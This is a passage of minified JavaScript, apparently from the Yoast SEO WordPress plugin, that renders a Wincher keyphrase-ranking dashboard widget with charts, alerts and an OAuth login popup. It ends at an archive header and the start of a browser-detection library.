c(s,n)}catch(e){if(o)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,n)=>{var r=n(9196),o="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,s=n(7942),a=n(9179),i=n(397),l=".",c=":",u="function"==typeof Symbol&&Symbol.iterator,p="@@iterator";function d(e,t){return e&&"object"==typeof e&&null!=e.key?(n=e.key,r={"=":"=0",":":"=2"},"$"+(""+n).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var n,r}function h(e,t,n,r){var s,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===o)return n(r,e,""===t?l+d(e,0):t),1;var m=0,y=""===t?l:t+c;if(Array.isArray(e))for(var f=0;f<e.length;f++)m+=h(s=e[f],y+d(s,f),n,r);else{var g=function(e){var t=e&&(u&&e[u]||e[p]);if("function"==typeof t)return t}(e);if(g)for(var w,b=g.call(e),v=0;!(w=b.next()).done;)m+=h(s=w.value,y+d(s,v++),n,r);else if("object"===i){var E=""+e;a(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===E?"object with keys {"+Object.keys(e).join(", ")+"}":E,"")}}return m}var m=/\/+/g;function y(e){return(""+e).replace(m,"$&/")}var f,g,w=b,b=function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)};function v(e,t,n,r){this.result=e,this.keyPrefix=t,this.func=n,this.context=r,this.count=0}function E(e,t,n){var o,a,i=e.result,l=e.keyPrefix,c=e.func,u=e.context,p=c.call(u,t,e.count++);Array.isArray(p)?k(p,i,n,s.thatReturnsArgument):null!=p&&(r.isValidElement(p)&&(o=p,a=l+(!p.key||t&&t.key===p.key?"":y(p.key)+"/")+n,p=r.cloneElement(o,{key:a},void 0!==o.props?o.props.children:void 0)),i.push(p))}function k(e,t,n,r,o){var s="";null!=n&&(s=y(n)+"/");var a=v.getPooled(t,s,r,o);!function(e,t,n){null==e||h(e,"",t,n)}(e,E,a),v.release(a)}v.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},f=function(e,t,n,r){var o=this;if(o.instancePool.length){var s=o.instancePool.pop();return o.call(s,e,t,n,r),s}return new o(e,t,n,r)},(g=v).instancePool=[],g.getPooled=f||w,g.poolSize||(g.poolSize=10),g.release=function(e){var t=this;a(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;a(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var n in e)k(e[n],t,n,s.thatReturnsArgument);return t}},7942:e=>{function t(e){return function(){return e}}var n=function(){};n.thatReturns=t,n.thatReturnsFalse=t(!1),n.thatReturnsTrue=t(!0),n.thatReturnsNull=t(null),n.thatReturnsThis=function(){return this},n.thatReturnsArgument=function(e){return e},e.exports=n},9179:e=>{e.exports=function(e,t,n,r,o,s,a,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,o,s,a,i],u=0;(l=new Error(t.replace(/%s/g,(function(){return c[u++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,n)=>{var r=n(7942);e.exports=r},9196:e=>{e.exports=window.React}},t={};function n(r){var o=t[r];if(void 0!==o)return o.exports;var s=t[r]={exports:{}};return e[r](s,s.exports,n),s.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e=n(9196);const t=window.wp.element,r=window.yoast.propTypes;var o=n.n(r);const s=window.yoast.styledComponents;var a=n.n(s);const i=window.wp.i18n,l=window.lodash;var c=n(6746);const u=window.yoast.helpers,p=window.yoast.componentsNew,d=t=>(0,e.createElement)(p.Alert,{type:"warning",className:t.className},(0,i.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,i.__)('Your %s account does not contain any keyphrases for this website yet. You can track keyphrases by using the "Track SEO Performance" button in the post editor.',"wordpress-seo"),"Wincher"));d.propTypes={className:o().string},d.defaultProps={className:""};const h=d,m=window.moment;var y=n.n(m);const f=({data:t,mapChartDataToTableData:n,dataTableCaption:r,dataTableHeaderLabels:o,isDataTableVisuallyHidden:s})=>t.length!==o.length?(0,e.createElement)("p",null,(0,i.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,e.createElement)("div",{className:s?"screen-reader-text":null},(0,e.createElement)("table",null,(0,e.createElement)("caption",null,r),(0,e.createElement)("thead",null,(0,e.createElement)("tr",null,o.map(((t,n)=>(0,e.createElement)("th",{key:n},t))))),(0,e.createElement)("tbody",null,(0,e.createElement)("tr",null,t.map(((t,r)=>(0,e.createElement)("td",{key:r},n(t.y))))))));f.propTypes={data:o().arrayOf(o().shape({x:o().number,y:o().number})).isRequired,mapChartDataToTableData:o().func,dataTableCaption:o().string.isRequired,dataTableHeaderLabels:o().array.isRequired,isDataTableVisuallyHidden:o().bool},f.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const g=f,w=({data:n,width:r,height:o,fillColor:s,strokeColor:a,strokeWidth:i,className:l,mapChartDataToTableData:c,dataTableCaption:u,dataTableHeaderLabels:p,isDataTableVisuallyHidden:d})=>{const h=Math.max(1,Math.max(...n.map((e=>e.x)))),m=Math.max(1,Math.max(...n.map((e=>e.y)))),y=o-i,f=n.map((e=>`${e.x/h*r},${y-e.y/m*y+i}`)).join(" "),w=`0,${y+i} `+f+` ${r},${y+i}`;return(0,e.createElement)(t.Fragment,null,(0,e.createElement)("svg",{width:r,height:o,viewBox:`0 0 ${r} ${o}`,className:l,role:"img","aria-hidden":"true",focusable:"false"},(0,e.createElement)("polygon",{fill:s,points:w}),(0,e.createElement)("polyline",{fill:"none",stroke:a,strokeWidth:i,strokeLinejoin:"round",strokeLinecap:"round",points:f})),c&&(0,e.createElement)(g,{data:n,mapChartDataToTableData:c,dataTableCaption:u,dataTableHeaderLabels:p,isDataTableVisuallyHidden:d}))};w.propTypes={data:o().arrayOf(o().shape({x:o().number,y:o().number})).isRequired,width:o().number.isRequired,height:o().number.isRequired,fillColor:o().string,strokeColor:o().string,strokeWidth:o().number,className:o().string,mapChartDataToTableData:o().func,dataTableCaption:o().string.isRequired,dataTableHeaderLabels:o().array.isRequired,isDataTableVisuallyHidden:o().bool},w.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const b=w,v=()=>(0,e.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,i.__)("Tracking the ranking position...","wordpress-seo")," ",(0,e.createElement)(p.SvgIcon,{icon:"loading-spinner"})),E=a()(p.SvgIcon)`
	margin-left: 2px;
	flex-shrink: 0;
	rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,k=a().span`
	color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	margin-right: 2px;
	margin-left: 12px;
`,T=a().td`
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,_=a().td`
	padding-left: 2px !important;
`,C=a().td.attrs({className:"yoast-table--nopadding"})`
	& > div {
		justify-content: center;
	}
`,S=a().div`
	display: flex;
	align-items: center;
	& > a {
		box-sizing: border-box;
	}
`,x=a().button`
	background: none;
	color: inherit;
	border: none;
	padding: 0;
	font: inherit;
	cursor: pointer;
	outline: inherit;
    display: flex;
    align-items: center;
`,D=a().tr`
	background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function R(e){return Math.round(100*e)}function I({chartData:t}){if((0,l.isEmpty)(t)||(0,l.isEmpty)(t.position))return"?";const n=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,i.sprintf)((0,i._n)("%d day","%d days",e,"wordpress-seo"),e)))}(t),r=t.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,e.createElement)(b,{width:66,height:24,data:r,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:R,dataTableCaption:(0,i.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:n})}function N(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}I.propTypes={chartData:o().object},I.defaultProps={chartData:{}};const L=({rowData:n})=>{var r;if(null==n||null===(r=n.position)||void 0===r||!r.change)return(0,e.createElement)(I,{chartData:n});const o=n.position.change<0;return(0,e.createElement)(t.Fragment,null,(0,e.createElement)(I,{chartData:n}),(0,e.createElement)(k,{isImproving:o},Math.abs(n.position.change)),(0,e.createElement)(E,{icon:"caret-right",color:o?"#69AB56":"#DC3332",size:"14px",isImproving:o}))};function P(n){var r;const{keyphrase:o,rowData:s,onTrackKeyphrase:a,onUntrackKeyphrase:c,isFocusKeyphrase:u,isDisabled:d,isLoading:h,isSelected:m,onSelectKeyphrases:f}=n,g=!(0,l.isEmpty)(s),w=!(0,l.isEmpty)(null==s||null===(r=s.position)||void 0===r?void 0:r.history),b=(0,t.useCallback)((()=>{d||(g?c(o,s.id):a(o))}),[o,a,c,g,s,d]),E=(0,t.useCallback)((()=>{f((e=>m?e.filter((e=>e!==o)):e.concat(o)))}),[f,m,o]);return(0,e.createElement)(D,{isEnabled:g},(0,e.createElement)(T,null,w&&(0,e.createElement)(p.Checkbox,{id:"select-"+o,onChange:E,checked:m,label:""})),(0,e.createElement)(_,null,o,u&&(0,e.createElement)("span",null,"*")),function(n){const{rowData:r,websiteId:o,keyphrase:s,onSelectKeyphrases:a}=n,c=(0,t.useCallback)((()=>{a([s])}),[a,s]),u=!(0,l.isEmpty)(r),d=r&&r.updated_at&&y()(r.updated_at)>=y()().subtract(7,"days"),h=r?(0,i.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",o,r.id):null;return u?d?(0,e.createElement)(t.Fragment,null,(0,e.createElement)("td",null,(0,e.createElement)(S,null,N(r),(0,e.createElement)(p.ButtonStyledLink,{variant:"secondary",href:h,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,i.__)("View","wordpress-seo")))),(0,e.createElement)("td",{className:"yoast-table--nopadding"},(0,e.createElement)(x,{type:"button",onClick:c},(0,e.createElement)(L,{rowData:r}))),(0,e.createElement)("td",null,(m=r.updated_at,y()(m).fromNow()))):(0,e.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,e.createElement)(v,null)):(0,e.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,e.createElement)("i",null,(0,i.__)("Activate tracking to show the ranking position","wordpress-seo")));var m}(n),(0,e.createElement)(C,null,function({keyphrase:t,isEnabled:n,toggleAction:r,isLoading:o}){return o?(0,e.createElement)(p.SvgIcon,{icon:"loading-spinner"}):(0,e.createElement)(p.Toggle,{id:`toggle-keyphrase-tracking-${t}`,className:"wincher-toggle",isEnabled:n,onSetToggleState:r,showToggleStateLabel:!1})}({keyphrase:o,isEnabled:g,toggleAction:b,isLoading:h})))}L.propTypes={rowData:o().object},P.propTypes={rowData:o().object,keyphrase:o().string.isRequired,onTrackKeyphrase:o().func,onUntrackKeyphrase:o().func,isFocusKeyphrase:o().bool,isDisabled:o().bool,isLoading:o().bool,websiteId:o().string,isSelected:o().bool.isRequired,onSelectKeyphrases:o().func.isRequired},P.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const A=t=>{const n=(0,i.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,i.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,e.createElement)(p.Alert,{type:"error",className:t.className},(0,c.Z)({mixedString:n,components:{reconnectToWincher:(0,e.createElement)("a",{href:"#",onClick:e=>{e.preventDefault(),t.onReconnect()}},(0,i.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,i.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};A.propTypes={onReconnect:o().func.isRequired,className:o().string},A.defaultProps={className:""};const q=A,W=window.yoast.styleGuide,j=window.wp.apiFetch;var $=n.n(j);async function F(e){try{return await $()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}const O=a().p`
	color: ${W.colors.$color_pink_dark};
	font-size: 14px;
	font-weight: 700;
	margin: 13px 0 10px;
`,H=a()(p.SvgIcon)`
	margin-right: 5px;
	vertical-align: middle;
`,B=a().button`
	position: absolute;
	top: 9px;
	right: 9px;
	border: none;
    background: none;
    cursor: pointer;
`,K=a().p`
	font-size: 13px;
	font-weight: 500;
	margin: 10px 0 13px;
`,z=a().div`
	position: relative;
	background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
	border: 1px solid #C7C7C7;
	border-left: 4px solid${W.colors.$color_pink_dark};
	padding: 0 16px;
	margin-bottom: 1.5em;
`,M=e=>{const[n,r]=(0,t.useState)(null);return(0,t.useEffect)((()=>{e&&!n&&async function(){return await F({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>r(e)))}),[n]),n};M.propTypes={limit:o().bool.isRequired};const V=({limit:t,usage:n,isTitleShortened:r,isFreeAccount:o})=>{const s=(0,i.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,i.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),n,t),a=(0,i.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,i.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),n,t),l=o?s:a,c=(0,i.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,i.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),n,t),u=r?c:l;return(0,e.createElement)(O,null,r&&(0,e.createElement)(H,{icon:"exclamation-triangle",color:W.colors.$color_pink_dark,size:"14px"}),u)};V.propTypes={limit:o().number.isRequired,usage:o().number.isRequired,isTitleShortened:o().bool,isFreeAccount:o().bool};const G=(0,u.makeOutboundLink)(),Y=({discount:t,months:n})=>{const r=(0,e.createElement)(G,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,i.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,i.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!t||!n)return(0,e.createElement)(K,null,r);const o=100*t,s=(0,i.sprintf)(
/* Translators: %1$s expands to upgrade account link.
   * %2$s expands to the upgrade discount value.
   * %3$s expands to the upgrade discount duration e.g. 2 months.
   */
(0,i.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",o+"%",n);return(0,e.createElement)(K,null,(0,c.Z)({mixedString:s,components:{wincherAccountUpgradeLink:r}}))};Y.propTypes={discount:o().number,months:o().number};const U=({onClose:n,isTitleShortened:r,trackingInfo:o})=>{const s=(()=>{const[e,n]=(0,t.useState)(null);return(0,t.useEffect)((()=>{e||async function(){return await F({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>n(e)))}),[e]),e})();if(null===o)return null;const{limit:a,usage:l}=o;if(!(a&&l/a>=.8))return null;const c=Boolean(null==s?void 0:s.discount);return(0,e.createElement)(z,{isTitleShortened:r},n&&(0,e.createElement)(B,{type:"button","aria-label":(0,i.__)("Close the upgrade callout","wordpress-seo"),onClick:n},(0,e.createElement)(p.SvgIcon,{icon:"times-circle",color:W.colors.$color_pink_dark,size:"14px"})),(0,e.createElement)(V,{...o,isTitleShortened:r,isFreeAccount:c}),(0,e.createElement)(Y,{discount:null==s?void 0:s.discount,months:null==s?void 0:s.months}))};U.propTypes={onClose:o().func,isTitleShortened:o().bool,trackingInfo:o().object};const Z=U,Q=(0,u.makeOutboundLink)(),X=(0,u.makeOutboundLink)(),J=(0,u.makeOutboundLink)(),ee=(0,u.makeOutboundLink)(),te=a().div`
	& .wincher-performance-report-alert {
		margin-bottom: 1em;
	}
`,ne=a().table`
	pointer-events: none;
	user-select: none;
`,re=a().div`
	position: relative;
	width: 100%;
	overflow-y: auto;
`,oe=a().div`
	margin: 0;
    -webkit-filter: blur(4px);
    -moz-filter: blur(4px);
    -o-filter: blur(4px);
    -ms-filter: blur(4px);
    filter: blur(4px);
`,se=a().p`
	top: 47%;
	left: 50%;
	position: absolute;
`,ae=e=>{const{websiteId:t,id:n}=e;return(0,i.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",t,n)},ie=t=>{const{isLoggedIn:n,onConnectAction:r}=t;return n?null:(0,e.createElement)(se,null,(0,e.createElement)(p.NewButton,{onClick:r,variant:"primary",style:{left:"-50%",backgroundColor:"#2371B0"}},(0,i.sprintf)(/* translators: %s expands to Wincher */
(0,i.__)("Connect with %s","wordpress-seo"),"Wincher")))};ie.propTypes={isLoggedIn:o().bool.isRequired,onConnectAction:o().func.isRequired};const le=({isBlurred:t,children:n})=>t?(0,e.createElement)("td",null,(0,e.createElement)(oe,null,n)):(0,e.createElement)("td",null,n);le.propTypes={isBlurred:o().bool,children:o().oneOfType([o().string,o().number,o().object])};const ce=({keyphrase:t,websiteId:n,isBlurred:r})=>{const{id:o,keyword:s}=t;return(0,e.createElement)("tr",null,(0,e.createElement)(le,{isBlurred:r},s),(0,e.createElement)(le,{isBlurred:r},N(t)),(0,e.createElement)(le,{isBlurred:r,className:"yoast-table--nopadding"},(0,e.createElement)(I,{chartData:t})),(0,e.createElement)(le,{isBlurred:r,className:"yoast-table--nobreak"},(0,e.createElement)(Q,{href:ae({websiteId:n,id:o})},(0,i.__)("View","wordpress-seo"))))};ce.propTypes={keyphrase:o().object.isRequired,websiteId:o().string.isRequired,isBlurred:o().bool};const ue=()=>(0,e.createElement)(p.Alert,{type:"error",className:"wincher-performance-report-alert"},(0,i.sprintf)((0,i.__)("Network Error: Unable to connect to the server. Please check your internet connection and try again later.","wordpress-seo"))),pe=t=>{const{data:n}=t;return!(0,l.isEmpty)(n)&&(0,l.isEmpty)(n.results)?(0,e.createElement)(p.Alert,{type:"success",className:"wincher-performance-report-alert"},(0,i.sprintf)(/* translators: %1$s and %2$s: Expands to "Wincher". */
(0,i.__)('You have successfully connected with %1$s. Your %2$s account does not contain any keyphrases for this website yet. You can track keyphrases by using the "Track SEO Performance" button in the post editor.',"wordpress-seo"),"Wincher","Wincher")):(0,e.createElement)(p.Alert,{type:"success",className:"wincher-performance-report-alert"},(0,i.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,i.__)("You have successfully connected with %s.","wordpress-seo"),"Wincher"))};pe.propTypes={data:o().object.isRequired};const de=t=>{const{data:n,onConnectAction:r,isConnectSuccess:o,isNetworkError:s,isFailedRequest:a}=t;return s?(0,e.createElement)(ue,{data:n}):o?(0,e.createElement)(pe,{data:n}):a?(0,e.createElement)(q,{onReconnect:r,className:"wincher-performance-report-alert"}):null};de.propTypes={data:o().object.isRequired,onConnectAction:o().func.isRequired,isConnectSuccess:o().bool.isRequired,isNetworkError:o().bool.isRequired,isFailedRequest:o().bool.isRequired};const he=t=>{const{data:n,isNetworkError:r,isConnectSuccess:o}=t,s=(e=>e&&[401,403,404].includes(e.status))(n);return r||o||s?(0,e.createElement)(de,{...t,isFailedRequest:s}):!n||(0,l.isEmpty)(n.results)?(0,e.createElement)(h,{className:"wincher-performance-report-alert"}):null};he.propTypes={data:o().object.isRequired,onConnectAction:o().func.isRequired,isConnectSuccess:o().bool.isRequired,isNetworkError:o().bool.isRequired};const me=({isLoggedIn:t})=>{const n=(0,i.sprintf)(/* translators: %s expands to a link to Wincher login */
(0,i.__)("This overview only shows you keyphrases added to Yoast SEO. There may be other keyphrases added to your %s.","wordpress-seo"),"{{wincherAccountLink/}}"),r=(0,i.sprintf)(/* translators: %s expands to a link to Wincher login */
(0,i.__)("This overview will show you your top performing keyphrases in Google. Connect with %s to get started.","wordpress-seo"),"{{wincherLink/}}"),o=t?n:r;return(0,e.createElement)("p",null,(0,c.Z)({mixedString:o,components:{wincherAccountLink:(0,e.createElement)(J,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,i.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,i.__)("%s account","wordpress-seo"),"Wincher")),wincherLink:(0,e.createElement)(ee,{href:wpseoAdminGlobalL10n["links.wincher.about"]},(0,i.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,i.__)("%s","wordpress-seo"),"Wincher"))}}))};me.propTypes={isLoggedIn:o().bool.isRequired};const ye={results:[{id:0,keyword:"wincher",position:{value:84,history:[{value:90},{value:89},{value:94},{value:98},{value:84}]}},{id:1,keyword:"rank tracker",position:{value:20,history:[{value:50},{value:30},{value:66},{value:15},{value:20}]}},{id:2,keyword:"performance",position:{value:2,history:[{value:44},{value:66},{value:18},{value:31},{value:2}]}}]},fe=({isBlurred:t,children:n})=>t?(0,e.createElement)(ne,{className:"yoast yoast-table"},n):(0,e.createElement)("table",{className:"yoast yoast-table"},n);fe.propTypes={isBlurred:o().bool,children:o().any};const ge=n=>{const{className:r,websiteId:o,isLoggedIn:s,onConnectAction:a,isConnectSuccess:c}=n,u=s?n.data:ye,p=!s,d=(e=>e&&!(0,l.isEmpty)(e)&&!(0,l.isEmpty)(e.results))(u),h=M(s);return(0,e.createElement)(te,{className:r},s&&(0,e.createElement)(Z,{isTitleShortened:!0,trackingInfo:h}),(0,e.createElement)(he,{...n,data:u,isConnectSuccess:c&&s}),d&&(0,e.createElement)(t.Fragment,null,(0,e.createElement)(me,{isLoggedIn:s}),(0,e.createElement)(re,null,(0,e.createElement)(fe,{isBlurred:p},(0,e.createElement)("thead",null,(0,e.createElement)("tr",null,(0,e.createElement)("th",{scope:"col",abbr:(0,i.__)("Keyphrase","wordpress-seo")},(0,i.__)("Keyphrase","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,i.__)("Position","wordpress-seo")},(0,i.__)("Position","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,i.__)("Position over time","wordpress-seo")},(0,i.__)("Position over time","wordpress-seo")),(0,e.createElement)("td",{className:"yoast-table--nobreak"}))),(0,e.createElement)("tbody",null,(0,l.map)(u.results,((t,n)=>(0,e.createElement)(ce,{key:`keyphrase-${n}`,keyphrase:t,websiteId:o,isBlurred:p}))))),(0,e.createElement)(ie,{isLoggedIn:s,onConnectAction:a})),(0,e.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,e.createElement)(X,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,i.sprintf)(/* translators: %s expands to Wincher */
(0,i.__)("Get more insights over at %s","wordpress-seo"),"Wincher")))))};ge.propTypes={className:o().string,data:o().object.isRequired,websiteId:o().string.isRequired,isLoggedIn:o().bool.isRequired,isConnectSuccess:o().bool.isRequired,isNetworkError:o().bool.isRequired,onConnectAction:o().func.isRequired},ge.defaultProps={className:"wincher-seo-performance"};const we=ge;class be{constructor(e,t={},n={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},n),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:n}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,n,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:n,origin:r}=e;r===this.origin&&this.popup===n&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}class ve extends t.Component{constructor(){super(),this.state={wincherData:{},wincherWebsiteId:wpseoWincherDashboardWidgetL10n.wincher_website_id,wincherIsLoggedIn:"1"===wpseoWincherDashboardWidgetL10n.wincher_is_logged_in,isDataFetched:!1,isConnectSuccess:!1,isNetworkError:!1},this.onConnect=this.onConnect.bind(this),this.getWincherData=this.getWincherData.bind(this),this.performAuthenticationRequest=this.performAuthenticationRequest.bind(this),this.onConnectSuccess=this.onConnectSuccess.bind(this),this.onNetworkDisconnectionError=this.onNetworkDisconnectionError.bind(this)}componentDidMount(){const e=jQuery("#wpseo-wincher-dashboard-overview-hide");e.is(":checked")&&this.fetchData(),e.on("click",(()=>{this.fetchData()}))}fetchData(){this.state.isDataFetched||(this.state.wincherIsLoggedIn&&this.getWincherData(),this.setState({isDataFetched:!0}))}async getWincherData(){const e=await async function(e=null,t=null,n=null,r){return await F({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:n,startAt:t},signal:r})}();if(200===e.status){const t=(0,l.filter)(e.results,(e=>!(0,l.isEmpty)(e.position))),n=(0,l.sortBy)(t,(e=>e.position.value)).splice(0,5);this.setState({wincherData:{results:n,status:e.status}})}else this.setState({wincherData:{results:[],status:e.status}})}async performAuthenticationRequest(e){if(200!==(await async function(e){const{code:t,websiteId:n}=e;return await F({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:n}})}(e)).status)return;this.setState({wincherIsLoggedIn:!0,wincherWebsiteId:e.websiteId.toString()}),await this.getWincherData();const t=this.loginPopup.getPopup();t&&t.close()}async onConnectSuccess(e){this.setState({isConnectSuccess:!0,isNetworkError:!1}),await this.performAuthenticationRequest(e)}async onNetworkDisconnectionError(){this.setState({isConnectSuccess:!1,isNetworkError:!0})}async onConnect(){if(this.loginPopup&&!this.loginPopup.isClosed())return void this.loginPopup.focus();const{url:e}=await async function(){return await F({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();e&&void 0!==e?(this.loginPopup=new be(e,{success:{type:"wincher:oauth:success",callback:e=>this.onConnectSuccess(e)},error:{type:"wincher:oauth:error",callback:()=>{}}},{title:"Wincher_login",width:500,height:700}),this.loginPopup.createPopup()):this.onNetworkDisconnectionError()}render(){return(0,e.createElement)(we,{key:"wincher-performance-report",data:this.state.wincherData,websiteId:this.state.wincherWebsiteId,isLoggedIn:this.state.wincherIsLoggedIn,isConnectSuccess:this.state.isConnectSuccess,isNetworkError:this.state.isNetworkError,onConnectAction:this.onConnect})}}const Ee=document.getElementById("yoast-seo-wincher-dashboard-widget");Ee&&(0,t.render)((0,e.createElement)(ve,null),Ee)})()})();wordpress-seo/js/dist/new-settings.js000064400001477532147510273070013755 0ustar00(()=>{var e={1206:function(e){e.exports=function(e){var t={};function s(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};return e[r].call(a.exports,a,a.exports,s),a.l=!0,a.exports}return s.m=e,s.c=t,s.d=function(e,t,r){s.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},s.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},s.t=function(e,t){if(1&t&&(e=s(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(s.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)s.d(r,a,function(t){return e[t]}.bind(null,a));return r},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,"a",t),t},s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},s.p="",s(s.s=90)}({17:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r=s(18),a=function(){function e(){}return e.getFirstMatch=function(e,t){var s=t.match(e);return s&&s.length>0&&s[1]||""},e.getSecondMatch=function(e,t){var s=t.match(e);return s&&s.length>1&&s[2]||""},e.matchAndReturnConst=function(e,t,s){if(e.test(t))return s},e.getWindowsVersionName=function(e){switch(e){case"NT":return"NT";case"XP":case"NT 5.1":return"XP";case"NT 5.0":return"2000";case"NT 5.2":return"2003";case"NT 6.0":return"Vista";case"NT 6.1":return"7";case"NT 6.2":return"8";case"NT 6.3":return"8.1";case"NT 10.0":return"10";default:return}},e.getMacOSVersionName=function(e){var 